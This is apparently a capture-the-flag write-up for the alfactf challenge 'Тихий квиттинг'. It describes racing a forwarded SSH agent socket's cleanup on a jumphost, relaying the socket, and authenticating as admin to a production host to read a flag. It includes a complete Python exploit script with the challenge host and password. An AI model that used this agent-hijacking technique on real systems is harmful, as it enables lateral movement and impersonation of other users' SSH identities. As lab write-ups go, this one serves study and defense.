infrafreemedium

Тихий квиттинг

alfactf

Task: SSH access lands on a jumphost where the only remaining production path is an active admin SSH session. Solution: race the short-lived forwarded SSH agent socket, proxy it into a new SSH connection to tracker-prod, and read the admin flag.

$ ls tags/ techniques/
ssh_agent_reuseagent_forwarding_abuseprocfs_socket_discoveryrace_condition_exploitation

Тихий квиттинг — alfactf

Description

Original organizer text was not preserved in the workspace; only the access details and story summary remained.

We received SSH access to quitting-rexo4dac.alfactf.ru as user quitting with the hint that only one production session was still alive and access had to be restored.

The critical idea was to reuse the forwarded SSH agent from that surviving admin session before cleanup removed the SSH_AUTH_SOCK path.

Analysis

Logging into the provided host did not place us into a normal low-privileged shell. Instead, it dropped us into a jumphost shell as root, which immediately changed the problem from privilege escalation to session and process inspection.

Recon on the jumphost showed an already-running SSH chain for the admin user:

sshd: admin [priv] sshd: admin@pts/1 sh -c sleep 1 && rm -rf /tmp/ssh* & ssh -l admin tracker-prod bash ssh -l admin tracker-prod bash

This revealed three important facts:

  1. The only surviving path to production was an existing admin -> tracker-prod SSH login.
  2. The SSH client was using an agent rather than a local private key file.
  3. The socket path was intentionally deleted almost immediately by sleep 1 && rm -rf /tmp/ssh* & ....

Reliable PTY hijacking was possible in theory, but in practice it was messy and timing-sensitive. The forwarded agent was a much cleaner target: if we could find the agent socket quickly enough and reuse it, we could authenticate to tracker-prod as admin without extracting any private key.

The transient socket appeared briefly in /proc/net/unix as /tmp/ssh-XXXX/agent.N. A probe script confirmed that it was a real SSH agent and that it exposed exactly one identity with comment admin@adminlaptop.

That confirmation turned the challenge into a race: catch the socket, proxy it to a stable local UNIX socket, and start a fresh SSH connection to tracker-prod before cleanup removed the original path.

Exploitation Steps

1. Inspect the process tree

The main clue was the command line of the surviving admin session:

sh -c sleep 1 && rm -rf /tmp/ssh* & ssh -l admin tracker-prod bash

This told us that the server itself was deleting the temporary SSH socket directory shortly after login, so any exploit had to race that cleanup.

2. Watch for the transient agent socket

Immediately after connecting, /proc/net/unix briefly exposed a path like:

/tmp/ssh-XXXX/agent.N

That path matched the standard shape of a forwarded SSH agent socket.

3. Prove the socket is a real agent

fast_agent_probe.py connected to the transient UNIX socket and sent the SSH agent request for identities. The reply showed one key, proving the socket was live and usable.

Important observation:

  • The socket did not hold the private key itself.
  • It exposed signing capability through the forwarded agent.
  • Reusing it was enough to authenticate as admin to another SSH destination.

4. Proxy the agent into a fresh SSH connection

The successful script connected to the short-lived /tmp/ssh-*/agent.* socket, created a stable proxy socket at /root/a.sock, and launched:

ssh -o PreferredAuthentications=publickey \ -o IdentityAgent=/root/a.sock \ -o BatchMode=yes \ -l admin tracker-prod '<command>'

Because the original socket vanished quickly, the script retried several times until the race succeeded.

5. Read the flag on production

Once the proxied agent login worked, running commands on tracker-prod as admin was straightforward. Recon showed /home/admin/flag.txt, and reading it returned the flag.

Solution

#!/usr/bin/env python3 import re import socket import sys import textwrap import time import paramiko HOST = "quitting-rexo4dac.alfactf.ru" USER = "quitting" PASSWORD = "WIFivByFQN8sUrTpaJ22WQ" PROMPT_RE = re.compile(r"root@jumphost:.*# ") def read_until_prompt(chan: paramiko.Channel, timeout: float = 25.0) -> str: end = time.time() + timeout out = bytearray() while time.time() < end: if chan.recv_ready(): out.extend(chan.recv(65535)) if PROMPT_RE.search(out.decode(errors="ignore")): break else: time.sleep(0.02) return out.decode(errors="ignore") def main() -> int: prod_cmd = "cat /home/admin/flag.txt" remote_py = textwrap.dedent( f""" import os,pathlib,select,socket,subprocess,threading,time p='';a=None;t=time.time()+2.0 while time.time()<t and a is None: ls=pathlib.Path('/proc/net/unix').read_text().splitlines()[1:] p=next((x.split()[-1] for x in ls if x.split() and '/tmp/ssh-' in x.split()[-1] and '/agent.' in x.split()[-1]),'') if not p: time.sleep(.01); continue try: s=socket.socket(socket.AF_UNIX,socket.SOCK_STREAM); s.settimeout(.1); s.connect(p); s.settimeout(None); a=s except Exception: time.sleep(.01) print('AGENT',p) if a is None: print('FAIL') raise SystemExit(1) q='/root/a.sock' try: os.unlink(q) except FileNotFoundError: pass srv=socket.socket(socket.AF_UNIX,socket.SOCK_STREAM); srv.bind(q); os.chmod(q,0o600); srv.listen(1) def f(): c,_=srv.accept() try: while 1: r,_,_=select.select([c,a],[],[],1) for x in r: d=x.recv(8192) if not d: return (a if x is c else c).sendall(d) finally: c.close(); a.close() threading.Thread(target=f,daemon=True).start() r=subprocess.run(['ssh','-o','StrictHostKeyChecking=no','-o','UserKnownHostsFile=/dev/null','-o','PreferredAuthentications=publickey','-o',f'IdentityAgent={{q}}','-o','BatchMode=yes','-l','admin','tracker-prod',{prod_cmd!r}],text=True,capture_output=True) print('RC',r.returncode) if r.stdout: print(r.stdout,end='') if r.stderr: print(r.stderr,end='') srv.close() try: os.unlink(q) except FileNotFoundError: pass """ ).strip() shell_cmd = "python3 - <<'PY'\n" + remote_py + "\nPY\n" last_out = "" for _ in range(10): client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) client.connect(HOST, username=USER, password=PASSWORD, look_for_keys=False, allow_agent=False, timeout=10, banner_timeout=20, auth_timeout=20) chan = client.invoke_shell(width=200, height=50) _ = read_until_prompt(chan, timeout=20) chan.send(shell_cmd) out = read_until_prompt(chan, timeout=40) chan.send("exit\n") time.sleep(0.2) if chan.recv_ready(): out += chan.recv(65535).decode(errors="ignore") chan.close() client.close() last_out = out if "RC 0" in out: print(out, end="") return 0 time.sleep(0.2) print(last_out, end="") return 1 if __name__ == "__main__": raise SystemExit(main())

Lessons / Technique Summary

  • A forwarded SSH agent can be more valuable than a private key file because it still provides signing capability.
  • /proc/net/unix is a powerful recon source for short-lived UNIX sockets.
  • If cleanup removes only the socket path, an attacker can still win by connecting first and relaying the already-open agent connection.
  • Existing internal SSH sessions often expose lateral movement opportunities even when PTY hijacking is unreliable.

$ cat /etc/motd

Liked this one?

Pro unlocks every writeup, every flag, and API access. $9/mo.

$ cat pricing.md

$ grep --similar

Similar writeups